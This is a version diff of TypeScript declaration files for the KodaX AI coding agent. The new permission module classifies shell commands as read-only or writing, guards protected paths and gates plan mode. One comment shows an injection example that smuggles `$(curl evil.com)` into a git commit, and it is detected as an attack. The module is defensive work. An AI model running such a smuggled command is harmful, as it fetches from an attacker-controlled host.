@kodax-ai/kodax 0.7.78 → 0.7.80

package/dist/types-chunks/shell-command-sets.d-Dp4UvPLL.d.ts

@@ -0,0 +1,297 @@
+import { a as BashPrefixExtractor } from './bash-prefix-extractor.d-DStqKIlu.js';
+
+/**
+ * Permission Utilities
+ *
+ * 权限工具函数 - 模式解析、匹配、路径检查
+ *
+ * Pattern format (ONLY for Bash tool in accept-edits mode):
+ * - "Bash(npm install)" - exact command match
+ * - "Bash(git commit:*)" - prefix wildcard match (matches "git commit -m 'msg'" etc.)
+ * - "Bash(npm:*)" - command prefix wildcard (matches "npm install", "npm run build" etc.)
+ *
+ * Note: Bash(*) is REJECTED for safety. Use specific command patterns.
+ */
+
+type PermissionMode = 'plan' | 'accept-edits' | 'auto' | 'auto-in-project';
+/** Return the subcommand position after validated Git global options. */
+declare function findGitSubcommandIndex(argv: readonly string[]): number | undefined;
+/** True when a Git inspection may invoke a configured signature helper. */
+declare function gitSignatureInspectionMayExecute(subcommand: string | undefined, args: readonly string[]): boolean;
+interface GitGrepShortOption {
+    readonly pager: boolean;
+    readonly valueKind?: 'pattern' | 'pattern-file' | 'other';
+    readonly attachedValue?: string;
+    readonly consumesNext: boolean;
+}
+/** Parse Git grep's clusterable short options until an option consumes the remainder. */
+declare function parseGitGrepShortOption(token: string): GitGrepShortOption;
+/** Validate one already-tokenized shell pipeline stage as read-only. */
+declare function isShellReadOnlyArgv(argv: readonly string[]): boolean;
+/**
+ * FEATURE_154 — universal `--help` fast-path (parity with Claude Code
+ * `commands.ts:isHelpCommand` at [commands.ts:388-436]).
+ *
+ * Returns `true` for commands of the shape `[CMD [SUBCMD ...]] --help` where
+ * every non-flag token is a simple alphanumeric identifier and `--help` is
+ * the only flag. These commands are unconditionally safe (programs print
+ * help and exit), so they fast-path past the LLM classifier (FEATURE_092)
+ * and the safe-read whitelist.
+ *
+ * Why: KodaX's auto-mode classifier costs an LLM call per tool invocation.
+ * Paying token cost on every `kubectl --help` / `docker --help` etc. is
+ * waste. Pre-FEATURE_154, KodaX only fast-pathed `--help` for ~12 language
+ * toolchains (`npm` / `tsc` / `go` / etc.) via the `languageTools` carve-out
+ * in `isSingleBashReadCommand`; this generalises to any command name.
+ *
+ * Strict by design (matches CC):
+ *   - Must end with `--help` (after trim)
+ *   - Must NOT contain `'` or `"` (could hide injection behind alphanumerics)
+ *   - Must contain `--help` exactly; any other flag (`-c`, `--version`, etc.) → false
+ *   - Every non-flag token must match `/^[a-zA-Z0-9]+$/` (rejects paths,
+ *     versioned files, env vars, shell metacharacters)
+ *
+ * Slightly stricter than CC on `$VAR` (CC's shell-quote tokenizer represents
+ * env-substitutions as object tokens that the loop skips, effectively
+ * letting them pass; KodaX's simple split sees them as strings and rejects.
+ * The stricter behavior is a deliberate safety choice.).
+ */
+declare function isHelpCommand(command: string): boolean;
+/**
+ * Check if a bash command is strictly a safe read-only operation (Whitelist).
+ *
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex strip-then-classify
+ * pipeline with `parseBashCommand` from `bash-ast.ts`. The AST gives us:
+ *   - statements split on `&&` / `||` / `;` (we only allow null and `&&`),
+ *   - pipeline stages split on `|` (every stage must be a safe-read command),
+ *   - per-stage redirections (input redirects rejected; output redirects only
+ *     allowed when the target is a null device, which discards output rather
+ *     than writing — preserves Issue 129 behavior),
+ *   - `unparseable: true` for inputs we can't model (heredocs, command
+ *     substitution `$(...)`, backticks, bare `&`, etc.) — fail-closed to
+ *     `false` so unmodeled syntax always falls through to confirmation.
+ *
+ * Per-stage syntactic checks use `isShellReadOnlyArgv` so quoted tokens do not
+ * need to be joined and parsed a second time.
+ *
+ * @param command - bash command string
+ * @returns true if the command is a safe read operation
+ */
+declare function isBashReadCommand(command: string): boolean;
+declare function getDirectShellBypassBlockReason(command: string): string | null;
+/**
+ * Check if a bash command is a write operation.
+ *
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex blacklist with
+ * `parseBashCommand` from `bash-ast.ts`. The AST eliminates two whole
+ * classes of false positives the regex chain had:
+ *   1. **Issue 129 strip-then-classify**: pre-AST code regex-stripped
+ *      `2>NUL` / `2>/dev/null` BEFORE pattern matching, then ran a
+ *      blacklist of pre-compiled regexes. The strip was fragile — any
+ *      future fd-redirect form would re-introduce the false positive.
+ *      Now redirections are structured tokens with a `target` field;
+ *      `isNullDevice(target)` is the single source of truth.
+ *   2. **Substring matches inside argv strings**: pre-AST `\\bset-content\\b`
+ *      matched `set-content` even when it appeared inside a quoted string
+ *      argument or inside a path. AST argv tokens are post-quote-stripping
+ *      so PowerShell verb checks compare against actual command names.
+ *
+ * Detection rules (per-stage):
+ *   - argv[0] OR argv[0..1] (joined with space) matches any entry in
+ *     `BASH_WRITE_COMMANDS` (handles both `rm` and `git commit`).
+ *   - any argv token matches a `POWERSHELL_WRITE_TOKENS` entry (these can
+ *     appear inline, not just at stage start, due to PowerShell pipeline
+ *     conventions — `ls | Set-Content foo` puts the verb at argv[0] of
+ *     stage 2, but `New-Item -Path foo -Value bar` has it as argv[0] of
+ *     stage 1; we cover both with a token-anywhere check).
+ *   - any non-input redirection whose target is NOT a null device.
+ *
+ * Unparseable inputs (heredocs, `$(...)`) are conservatively returned as
+ * `false` to match the pre-AST regex chain's behavior — those inputs just
+ * didn't match anything in the regex blacklist either. Plan-mode and
+ * auto-mode handle the unparseable case via separate confirmation paths.
+ *
+ * @param command - bash command string
+ * @returns true if the command is a write operation
+ */
+declare function isBashWriteCommand(command: string): boolean;
+/**
+ * Parse allowed tool pattern - 解析允许的工具模式
+ *
+ * Formats:
+ * - "read" -> { tool: "read", pattern: null }
+ * - "Edit(*)" -> { tool: "Edit", pattern: "*" }
+ * - "Bash(npm install)" -> { tool: "Bash", pattern: "npm install" }
+ * - "Bash(git commit:*)" -> { tool: "Bash", pattern: "git commit:*" }
+ */
+declare function parseAllowedToolPattern(entry: string): {
+    tool: string;
+    pattern: string | null;
+};
+/**
+ * Check if a tool call is allowed by the user's allowlist patterns.
+ *
+ * FEATURE_153 (v0.7.38) — When `extractor` is supplied, bash commands are
+ * routed through the LLM-backed prefix extractor, which:
+ *   - Returns the SAFE PREFIX of the command (e.g. `git commit` for
+ *     `git commit -m "msg"`)
+ *   - Returns `injection_detected` for inputs containing command injection
+ *     (`git commit -m "x" $(curl evil.com)`)
+ *   - Returns `no_prefix` when no safe prefix can be determined
+ * Patterns then match against the extracted prefix exactly. This eliminates
+ * the pre-FEATURE_153 startsWith-based injection surface.
+ *
+ * When `extractor` is NOT supplied, falls back to the legacy
+ * `command.startsWith(pattern)` matcher. Documented as insecure in
+ * `matchesBashPatternLegacy` — KodaX's REPL always supplies an extractor in
+ * production; the legacy branch exists for tests and headless SDK consumers
+ * without LLM access.
+ *
+ * Note: Only Bash tool is supported for pattern matching.
+ *
+ * @param toolName — tool name (only "bash" / "Bash" matched)
+ * @param input    — tool call input; reads `input.command`
+ * @param allowedPatterns — entries like `Bash(git commit:*)` from
+ *                          `~/.kodax/config.json` `alwaysAllowTools`
+ * @param extractor — optional LLM-backed bash prefix extractor (FEATURE_153)
+ * @param signal    — optional abort signal forwarded to the extractor
+ */
+declare function isToolCallAllowed(toolName: string, input: Record<string, unknown>, allowedPatterns: string[], extractor?: BashPrefixExtractor, signal?: AbortSignal): Promise<boolean>;
+/**
+ * Generate pattern string for saving
+ */
+declare function generateSavePattern(toolName: string, input: Record<string, unknown>, allowAll: boolean): string;
+/**
+ * Check if target path requires always-confirm (permanent protection zones)
+ *
+ * Protected zones (always require confirmation, regardless of mode):
+ * - .kodax/ project config directory
+ * - ~/.kodax/ user config directory
+ * - Paths outside the project root AND outside the system temp directory
+ *
+ * System temp directories (`os.tmpdir()` and `$TEMP` / `$TMP` / `$TMPDIR`) are
+ * treated as a safe scratchpad in all modes — writing there is auto-allowed.
+ * This aligns with plan mode's `isPlanModeAllowedPath` semantics: both modes
+ * already explicitly permit system-temp writes, so accept-edits and
+ * auto-in-project should not be stricter than plan mode on this dimension.
+ */
+declare function isAlwaysConfirmPath(targetPath: string, projectRoot: string): boolean;
+/**
+ * Pre-AST regex-based path scanner. Retained as a complementary pass
+ * because shell-quote's POSIX tokenisation eats Windows backslash escapes:
+ *   `rm C:\Users\foo\bar.txt` → AST argv is `['rm', 'C:Users', 'oo\bar.txt']`
+ *                               (the `\U`, `\f`, `\b` are POSIX-escape-stripped).
+ * The regex sees raw input and recognises `C:\foo`-style paths as one
+ * coherent token, which is what callers (`isCommandOnProtectedPath`,
+ * `collectBashWriteTargets`) actually need to make path-safety decisions.
+ *
+ * Pre-AST regex was the entire impl; here it's a Windows-path safety net
+ * layered ON TOP of the AST argv pass. Tokens recognised by both are
+ * de-duped at the `Set` level by the caller.
+ */
+interface RawCommandWord {
+    readonly value: string;
+    readonly start: number;
+    readonly end: number;
+}
+declare function tokenizeRawCommandStages(command: string): readonly RawCommandWord[][];
+/**
+ * Extract potential file paths from a bash command. Used to check whether
+ * a bash invocation operates on protected paths (`isCommandOnProtectedPath`)
+ * and as a "wide net" feeder into `collectBashWriteTargets`.
+ *
+ * FEATURE_152 (v0.7.38): hybrid AST + legacy-regex pass:
+ *   1. AST tokenisation for argv — gives correctly unquoted paths,
+ *      including paths with spaces (`"path with spaces.txt"`). Pre-AST
+ *      regex needed quotes literally present in input.
+ *   2. Legacy regex pass for Windows backslash paths — shell-quote treats
+ *      `\` as POSIX escape so `C:\Users\foo` mangles into `C:Users`.
+ *      The regex recognises the raw Windows path token before tokenisation.
+ *
+ * Both passes contribute; results de-duplicate via `Set` at the call site.
+ *
+ * Issue 052: original purpose — gate "always allow" on bash commands that
+ * touch protected paths.
+ */
+declare function extractPathsFromCommand(command: string): string[];
+/**
+ * Check if a bash command operates on any protected paths
+ * Issue 052: Prevent "always" option for bash commands on protected paths
+ */
+declare function isCommandOnProtectedPath(command: string, projectRoot: string, executionCwd?: string): boolean;
+/**
+ * Check whether a path stays inside the project root after resolution.
+ */
+declare function isPathInsideProject(targetPath: string, projectRoot: string): boolean;
+declare function getPlanModeAllowedWritablePaths(projectRoot?: string): {
+    projectPlanDoc: string;
+    systemTempDirs: string[];
+};
+declare function isPlanModeAllowedPath(targetPath: string, projectRoot?: string, executionCwd?: string | undefined): boolean;
+/**
+ * Collect the file targets that a bash command might write to. Used by
+ * plan-mode (`getPlanModeBlockReason`) and `getBashOutsideProjectWriteRisk`.
+ *
+ * FEATURE_152 (v0.7.38): backed by `parseBashCommand` AST. The pre-AST
+ * version concatenated four overlapping regex sweeps over the raw command
+ * string — each had its own substring-vs-token pitfalls (e.g. `tee`
+ * matched as substring in `committee.txt`). The AST gives clean argv
+ * tokens with quoting stripped, and per-stage redirection targets.
+ */
+declare function collectBashWriteTargets(command: string): string[];
+/** Parsed targets whose command role itself proves they are mutated. */
+declare function collectDeterministicBashWriteTargets(command: string): string[];
+declare function getBashOutsideProjectWriteRisk(command: string, projectRoot: string): {
+    dangerous: boolean;
+    reason?: string;
+};
+/**
+ * v0.7.42 — Metadata-driven plan-mode gate.
+ *
+ * Decision order (first match wins):
+ *
+ *   1. Tool has `planModeAllowed: true` in its `LocalToolDefinition` →
+ *      permitted (`null`). Covers planning-loop tools whose effect IS the
+ *      planning workflow: `exit_plan_mode`, `task_stop`, `todo_*`,
+ *      `ask_user_question`, plus read-class network queries
+ *      (`web_search`, `mcp_search` / `mcp_describe` /
+ *      `mcp_read_resource` / `mcp_get_prompt`).
+ *   2. Tool has `sideEffect === 'readonly'` AND not explicitly disallowed →
+ *      permitted (`null`). Read tools never need plan-mode gating.
+ *   3. Path-aware FS-write escape: tools in `FILE_MODIFICATION_TOOLS`
+ *      (computed from `sideEffect === 'mutates-fs' AND requires path`)
+ *      can write IF the target path is `.agent/plan_mode_doc.md` or the
+ *      system temp dir.
+ *   4. `bash` special case: command-content-aware check via
+ *      `isBashWriteCommand` + `collectBashWriteTargets` — read-only bash
+ *      (`git status`, `ls`, …) is permitted; write bash with all targets
+ *      in the plan-doc / temp escape is permitted; everything else
+ *      blocks.
+ *   5. Everything else with a side effect → blocked with a generic
+ *      reason naming the side-effect class.
+ *
+ * Pre-v0.7.42 this function only gated `write`, `edit`, `undo`, `bash` —
+ * a hardcoded 4-tool list that silently let `multi_edit`,
+ * `insert_after_anchor`, `worktree_*`, `scaffold_*`, `stage_*`,
+ * `dispatch_child_task`, `send_message`, `web_fetch`, `mcp_call` etc.
+ * fall through to `return null` (permitted). The metadata-driven gate
+ * closes that gap structurally — new mutating tools auto-block until
+ * explicitly opted in via `planModeAllowed: true`.
+ */
+declare function getPlanModeBlockReason(toolName: string, input: Record<string, unknown>, projectRoot?: string, executionCwd?: string | undefined): string | null;
+/**
+ * Infer PermissionMode from legacy options (backward compat)
+ */
+declare function inferPermissionMode(opts: {
+    auto?: boolean;
+    mode?: 'code' | 'ask';
+    confirmTools?: Set<string>;
+}): PermissionMode;
+
+declare const FILE_MODIFICATION_TOOLS: Set<string>;
+declare const MODIFICATION_TOOLS: Set<string>;
+declare const BASH_WRITE_COMMANDS: Set<string>;
+declare const BASH_SAFE_READ_COMMANDS: Set<string>;
+
+export { BASH_SAFE_READ_COMMANDS as B, FILE_MODIFICATION_TOOLS as F, MODIFICATION_TOOLS as M, BASH_WRITE_COMMANDS as a, collectDeterministicBashWriteTargets as b, collectBashWriteTargets as c, getBashOutsideProjectWriteRisk as d, extractPathsFromCommand as e, findGitSubcommandIndex as f, generateSavePattern as g, getDirectShellBypassBlockReason as h, getPlanModeAllowedWritablePaths as i, getPlanModeBlockReason as j, gitSignatureInspectionMayExecute as k, inferPermissionMode as l, isAlwaysConfirmPath as m, isBashReadCommand as n, isBashWriteCommand as o, isCommandOnProtectedPath as p, isHelpCommand as q, isPathInsideProject as r, isPlanModeAllowedPath as s, isShellReadOnlyArgv as t, isToolCallAllowed as u, parseAllowedToolPattern as v, parseGitGrepShortOption as w, tokenizeRawCommandStages as x };
+export type { GitGrepShortOption as G, PermissionMode as P, RawCommandWord as R };

package/dist/types-chunks/{side-query.d-DTuLPcC5.d.ts → side-query.d-CP1LiRiH.d.ts}

@@ -1,5 +1,5 @@
-import { k as KodaXMessage, H as KodaXReasoningRequest, a0 as KodaXTokenUsage } from './types.d-DIpZJKUl.js';
-import { K as KodaXBaseProvider } from './base.d-4e74xDdy.js';
+import { k as KodaXMessage, I as KodaXReasoningRequest, a1 as KodaXTokenUsage } from './types.d-CgrXrFrq.js';
+import { K as KodaXBaseProvider } from './base.d-DxG0m09Z.js';
 import { a as CostTracker } from './cost-tracker.d-BeaenODW.js';
 
 /**
@@ -58,6 +58,12 @@ interface SideQueryDiagnostics {
     readonly promptBytes: number;
     readonly retryCount: number;
     readonly retryWaitMs: number;
+    /** Provider completion mapped to the stable side-query stop taxonomy. */
+    readonly stopReason?: SideQueryStopReason;
+    /** UTF-8 size of returned text only; response content is never persisted. */
+    readonly responseBytes?: number;
+    /** Number of provider text blocks concatenated into the returned text. */
+    readonly textBlockCount?: number;
     /** Time until the first lifecycle/data event exposed by the provider adapter. */
     readonly firstUpstreamEventMs?: number;
     /** Time until the first non-empty thinking delta. */

package/dist/types-chunks/{types-D3g6XUQr.d.ts → types-Bf3Y3mW-.d.ts}

@@ -1,4 +1,4 @@
-import { k as KodaXMessage } from './types.d-DIpZJKUl.js';
+import { k as KodaXMessage } from './types.d-CgrXrFrq.js';
 
 /**
  * @kodax-ai/agent Types

package/dist/types-chunks/{types.d-BH0ZkTGf.d.ts → types.d-BzpPDBPV.d.ts}

@@ -1,5 +1,5 @@
-import { bD as KodaXInputArtifact } from './types.d-BA-Jwpfs.js';
-import { S as KodaXTaskResultMetadata } from './types.d-DIpZJKUl.js';
+import { bM as KodaXInputArtifact } from './controller.d-C2aHqzHj.js';
+import { T as KodaXTaskResultMetadata } from './types.d-CgrXrFrq.js';
 
 /**
  * @kodax-ai/agent/messaging — Message queue types

package/dist/types-chunks/{types.d-DIpZJKUl.d.ts → types.d-CgrXrFrq.d.ts}

@@ -198,7 +198,7 @@ interface KodaXToolDefinition {
 type KodaXReasoningCapability = 'native-effort' | 'native-budget' | 'native-toggle' | 'native-adaptive' | 'none' | 'prompt-only' | 'unknown';
 type KodaXStableEffortIntent = 'auto' | 'none' | 'low' | 'medium' | 'high';
 type KodaXWireReasoningEffort = string;
-type KodaXReasoningPresetName = 'zai-glm-5.2' | 'zai-glm-toggle' | 'deepseek-v4-openai' | 'deepseek-v4-anthropic' | 'deepseek-toggle' | 'kimi-k3' | 'kimi-k2.7-code' | 'kimi-hybrid-toggle' | 'minimax-m3' | 'minimax-m2-always' | 'mimo-v2.5-toggle' | 'qwen-hybrid-thinking' | 'openai-chat-reasoning' | 'openai-responses-reasoning' | 'codex-cli-effort' | 'claude-adaptive-xhigh' | 'claude-adaptive-max' | 'anthropic-budget' | 'generic-thinking-toggle' | 'none';
+type KodaXReasoningPresetName = 'zai-glm-5.2' | 'zai-glm-toggle' | 'deepseek-v4-flash-openai' | 'deepseek-v4-pro-openai' | 'deepseek-v4-openai' | 'deepseek-v4-anthropic' | 'deepseek-toggle' | 'kimi-k3' | 'kimi-k2.7-code' | 'kimi-hybrid-toggle' | 'minimax-m3' | 'minimax-m2-always' | 'mimo-v2.5-toggle' | 'qwen-hybrid-thinking' | 'openai-chat-reasoning' | 'openai-responses-reasoning' | 'codex-cli-effort' | 'claude-adaptive-xhigh' | 'claude-adaptive-max' | 'anthropic-budget' | 'generic-thinking-toggle' | 'none';
 interface KodaXReasoningEffortRequest {
     readonly value: KodaXWireReasoningEffort;
     readonly isExplicit: boolean;
@@ -341,6 +341,11 @@ interface KodaXModelDescriptor {
     displayName?: string;
     contextWindow?: number;
     maxOutputTokens?: number;
+    /**
+     * Per-model OpenAI Chat Completions field for the output-token limit.
+     * Defaults to the provider-level value, then `max_completion_tokens`.
+     */
+    maxOutputTokensField?: KodaXOpenAICompatMaxOutputTokensField;
     thinkingBudgetCap?: number;
     /** @deprecated Auto-migrated on load. Prefer `reasoning: { efforts, default }`. */
     reasoningCapability?: KodaXReasoningCapability;
@@ -374,6 +379,7 @@ interface KodaXModelDescriptor {
 }
 type KodaXProtocolFamily = 'anthropic' | 'openai';
 type KodaXProviderUserAgentMode = 'compat' | 'sdk';
+type KodaXOpenAICompatMaxOutputTokensField = 'max_tokens' | 'max_completion_tokens';
 /**
  * FEATURE_216 v0.7.45 — Strategy KodaX uses to verify a provider's API
  * credentials. Per-provider data-driven (set in `provider-capabilities.json`)
@@ -472,6 +478,12 @@ interface KodaXCustomProviderConfig {
     capabilityProfile?: KodaXProviderCapabilityProfile;
     contextWindow?: number;
     maxOutputTokens?: number;
+    /**
+     * OpenAI Chat Completions field used for the output-token limit. Set to
+     * `max_tokens` for DeepSeek-compatible endpoints. Defaults to
+     * `max_completion_tokens`; model descriptors may override it.
+     */
+    maxOutputTokensField?: KodaXOpenAICompatMaxOutputTokensField;
     thinkingBudgetCap?: number;
     /**
      * Opt in only when this exact endpoint is known to accept the protocol's
@@ -529,6 +541,8 @@ interface KodaXProviderConfig {
     contextWindow?: number;
     /** Provider 允许的最大输出 token */
     maxOutputTokens?: number;
+    /** OpenAI Chat Completions output-token field; model descriptors override it. */
+    maxOutputTokensField?: KodaXOpenAICompatMaxOutputTokensField;
     /** Provider thinking budget 上限 */
     thinkingBudgetCap?: number;
     /** Whether this verified endpoint accepts the protocol cache-affinity field. */
@@ -657,4 +671,4 @@ interface KodaXProviderStreamOptions {
     signal?: AbortSignal;
 }
 
-export type { KodaXThinkingWireStrategy as $, KodaXProviderTransport as A, KodaXReasoningCapability as B, KodaXReasoningEffortPreset as C, KodaXReasoningEffortRequest as D, KodaXReasoningEffortWireStrategy as E, KodaXReasoningMode as F, KodaXReasoningProfile as G, KodaXReasoningRequest as H, KodaXRedactedThinkingBlock as I, KodaXReviewScale as J, KodaXAssuranceIntent as K, KodaXRiskLevel as L, KodaXStableEffortIntent as M, KodaXStreamResult as N, KodaXTaskActionability as O, KodaXTaskBudgetOverrides as P, KodaXTaskComplexity as Q, KodaXTaskFamily as R, KodaXTaskResultMetadata as S, KodaXTaskResultSource as T, KodaXTaskRoutingDecision as U, KodaXTaskType as V, KodaXTaskWorkIntent as W, KodaXTextBlock as X, KodaXThinkingBlock as Y, KodaXThinkingBudgetMap as Z, KodaXThinkingDepth as _, KodaXCacheBoundary as a, KodaXTokenUsage as a0, KodaXToolDefinition as a1, KodaXToolResultBlock as a2, KodaXToolResultContentItem as a3, KodaXToolResultImageItem as a4, KodaXToolResultTextItem as a5, KodaXToolUseBlock as a6, KodaXVerifyCredentialResult as a7, KodaXVerifyStrategy as a8, KodaXWireReasoningEffort as a9, KodaXChildFanoutClass as b, KodaXContentBlock as c, KodaXCustomProviderConfig as d, KodaXEphemeralSuffix as e, KodaXExecutionMode as f, KodaXExecutionPattern as g, KodaXHarnessProfile as h, KodaXImageBlock as i, KodaXListModelsResult as j, KodaXMessage as k, KodaXModelDescriptor as l, KodaXMutationSurface as m, KodaXNormalizedReasoningRequest as n, KodaXProtocolFamily as o, KodaXProviderCapabilityProfile as p, KodaXProviderConfig as q, KodaXProviderContextFidelity as r, KodaXProviderConversationSemantics as s, KodaXProviderEvidenceSupport as t, KodaXProviderLongRunningSupport as u, KodaXProviderMcpSupport as v, KodaXProviderMultimodalSupport as w, KodaXProviderSessionSupport as x, KodaXProviderStreamOptions as y, KodaXProviderToolCallingFidelity as z };
+export type { KodaXThinkingDepth as $, KodaXProviderToolCallingFidelity as A, KodaXProviderTransport as B, KodaXReasoningCapability as C, KodaXReasoningEffortPreset as D, KodaXReasoningEffortRequest as E, KodaXReasoningEffortWireStrategy as F, KodaXReasoningMode as G, KodaXReasoningProfile as H, KodaXReasoningRequest as I, KodaXRedactedThinkingBlock as J, KodaXAssuranceIntent as K, KodaXReviewScale as L, KodaXRiskLevel as M, KodaXStableEffortIntent as N, KodaXStreamResult as O, KodaXTaskActionability as P, KodaXTaskBudgetOverrides as Q, KodaXTaskComplexity as R, KodaXTaskFamily as S, KodaXTaskResultMetadata as T, KodaXTaskResultSource as U, KodaXTaskRoutingDecision as V, KodaXTaskType as W, KodaXTaskWorkIntent as X, KodaXTextBlock as Y, KodaXThinkingBlock as Z, KodaXThinkingBudgetMap as _, KodaXCacheBoundary as a, KodaXThinkingWireStrategy as a0, KodaXTokenUsage as a1, KodaXToolDefinition as a2, KodaXToolResultBlock as a3, KodaXToolResultContentItem as a4, KodaXToolResultImageItem as a5, KodaXToolResultTextItem as a6, KodaXToolUseBlock as a7, KodaXVerifyCredentialResult as a8, KodaXVerifyStrategy as a9, KodaXWireReasoningEffort as aa, KodaXChildFanoutClass as b, KodaXContentBlock as c, KodaXCustomProviderConfig as d, KodaXEphemeralSuffix as e, KodaXExecutionMode as f, KodaXExecutionPattern as g, KodaXHarnessProfile as h, KodaXImageBlock as i, KodaXListModelsResult as j, KodaXMessage as k, KodaXModelDescriptor as l, KodaXMutationSurface as m, KodaXNormalizedReasoningRequest as n, KodaXOpenAICompatMaxOutputTokensField as o, KodaXProtocolFamily as p, KodaXProviderCapabilityProfile as q, KodaXProviderConfig as r, KodaXProviderContextFidelity as s, KodaXProviderConversationSemantics as t, KodaXProviderEvidenceSupport as u, KodaXProviderLongRunningSupport as v, KodaXProviderMcpSupport as w, KodaXProviderMultimodalSupport as x, KodaXProviderSessionSupport as y, KodaXProviderStreamOptions as z };

package/dist/types-chunks/{types.d-DVDTIfB_.d.ts → types.d-yuJzE82x.d.ts}

@@ -1,8 +1,8 @@
-import { a9 as KodaXWireReasoningEffort, a1 as KodaXToolDefinition, a3 as KodaXToolResultContentItem, k as KodaXMessage } from './types.d-DIpZJKUl.js';
-import { K as KodaXBaseProvider } from './base.d-4e74xDdy.js';
+import { aa as KodaXWireReasoningEffort, a2 as KodaXToolDefinition, a4 as KodaXToolResultContentItem, k as KodaXMessage } from './types.d-CgrXrFrq.js';
+import { K as KodaXBaseProvider } from './base.d-DxG0m09Z.js';
 import { C as CapabilityKind, a as CapabilityProvider } from './capability.d-K664nHOS.js';
-import { bF as KodaXJsonValue, bt as KodaXExtensionSessionRecord, bv as KodaXExtensionStore } from './types.d-BA-Jwpfs.js';
-import { aP as KodaXToolExecutionContext, bx as ToolSideEffect } from './bash-prefix-extractor.d-uAe2Oqda.js';
+import { bO as KodaXJsonValue, bC as KodaXExtensionSessionRecord, bE as KodaXExtensionStore } from './controller.d-C2aHqzHj.js';
+import { aQ as KodaXToolExecutionContext, by as ToolSideEffect } from './bash-prefix-extractor.d-DStqKIlu.js';
 
 /**
  * KodaX Constructed-World types (FEATURE_087, v0.7.28).

package/dist/types-chunks/{utils.d-CVp6bFl9.d.ts → utils.d-BpACJmzt.d.ts}

@@ -1,9 +1,9 @@
-import { k as KodaXMessage, F as KodaXReasoningMode, d as KodaXCustomProviderConfig, p as KodaXProviderCapabilityProfile } from './types.d-DIpZJKUl.js';
-import { c3 as KodaXSessionUiHistoryItem, bU as KodaXSessionLineage, bL as KodaXSessionArtifactLedgerEntry, bu as KodaXExtensionSessionState, bt as KodaXExtensionSessionRecord, b$ as KodaXSessionRuntimeInfo, e$ as WorkflowProcessSource } from './types.d-BA-Jwpfs.js';
-import { O as KodaXContextTokenSnapshot, as as KodaXSkillDynamicContextPolicy, t as KodaXAgentMode, a8 as KodaXRepoIntelligenceMode, a1 as KodaXOptions, at as KodaXSkillInvocationContext } from './bash-prefix-extractor.d-uAe2Oqda.js';
-import { d as AgentsFile, s as AutoModeStats, J as KodaXMcpServersConfig } from './guardrail.d-CXDYRgZ3.js';
+import { k as KodaXMessage, G as KodaXReasoningMode, d as KodaXCustomProviderConfig, q as KodaXProviderCapabilityProfile } from './types.d-CgrXrFrq.js';
+import { cc as KodaXSessionUiHistoryItem, c1 as KodaXSessionLineage, bU as KodaXSessionArtifactLedgerEntry, bD as KodaXExtensionSessionState, bC as KodaXExtensionSessionRecord, c8 as KodaXSessionRuntimeInfo, fc as WorkflowProcessSource } from './controller.d-C2aHqzHj.js';
+import { O as KodaXContextTokenSnapshot, at as KodaXSkillDynamicContextPolicy, t as KodaXAgentMode, a8 as KodaXRepoIntelligenceMode, a1 as KodaXOptions, au as KodaXSkillInvocationContext } from './bash-prefix-extractor.d-DStqKIlu.js';
+import { d as AgentsFile, s as AutoModeStats, S as KodaXMcpServersConfig } from './guardrail.d-DM-OK0m3.js';
 import * as readline from 'readline';
-import { R as PermissionMode, L as LearningBinding, E as LearningSurfaceSnapshot } from './public-api.d-B3AohsxN.js';
+import { S as PermissionMode, L as LearningBinding, G as LearningSurfaceSnapshot } from './public-api.d-CewTvUKV.js';
 import { SpawnSyncReturns } from 'child_process';
 
 /**
@@ -41,7 +41,7 @@ interface AutoModeSettings {
      * inherits from the main session). Feeds layer 4 of `resolveClassifierModel`.
      */
     classifierModel?: string;
-    /** sideQuery timeout in ms. Default 20_000. */
+    /** Explicit per-attempt timeout. Omit for the 45_000/90_000 classifier defaults. */
     timeoutMs?: number;
     /**
      * Issue 143 (WS3): speculative-classify quiet window in ms. Default 500.
@@ -104,6 +104,8 @@ interface InteractiveContext {
     extensionRecords?: KodaXExtensionSessionRecord[];
     extensionStateDirty?: boolean;
     extensionRecordsDirty?: boolean;
+    /** Internal fence: a non-tail Session field changed since the last exact write. */
+    sessionSnapshotDirty?: boolean;
     sessionId: string;
     title: string;
     gitRoot?: string;
@@ -594,6 +596,19 @@ declare function loadConfig(): {
     workflow?: {
         maxConcurrency?: number;
     };
+    sandbox?: {
+        envPass?: string[];
+    };
+    /**
+     * Worker-hosted embedded Runtime options. `configuredA2A` lets a
+     * Worker-hosted embedded Runtime load and reconcile
+     * `<homeDir>/.kodax/integrations/a2a.json` inside the Worker owner,
+     * installing the full list/describe/preflight and external Actor dispatch
+     * surface so configured A2A Agents appear as `external:<name>`.
+     */
+    worker?: {
+        configuredA2A?: boolean;
+    };
 };
 /**
  * F1 — first-launch onboarding. config.json must be STRICT JSON (no comments), so we
@@ -663,6 +678,9 @@ declare function saveConfig(config: {
     workflow?: {
         maxConcurrency?: number;
     };
+    sandbox?: {
+        envPass?: string[];
+    };
 }): void;
 declare function resolveRuntimeProviderSelection(input: {
     explicitProvider?: string;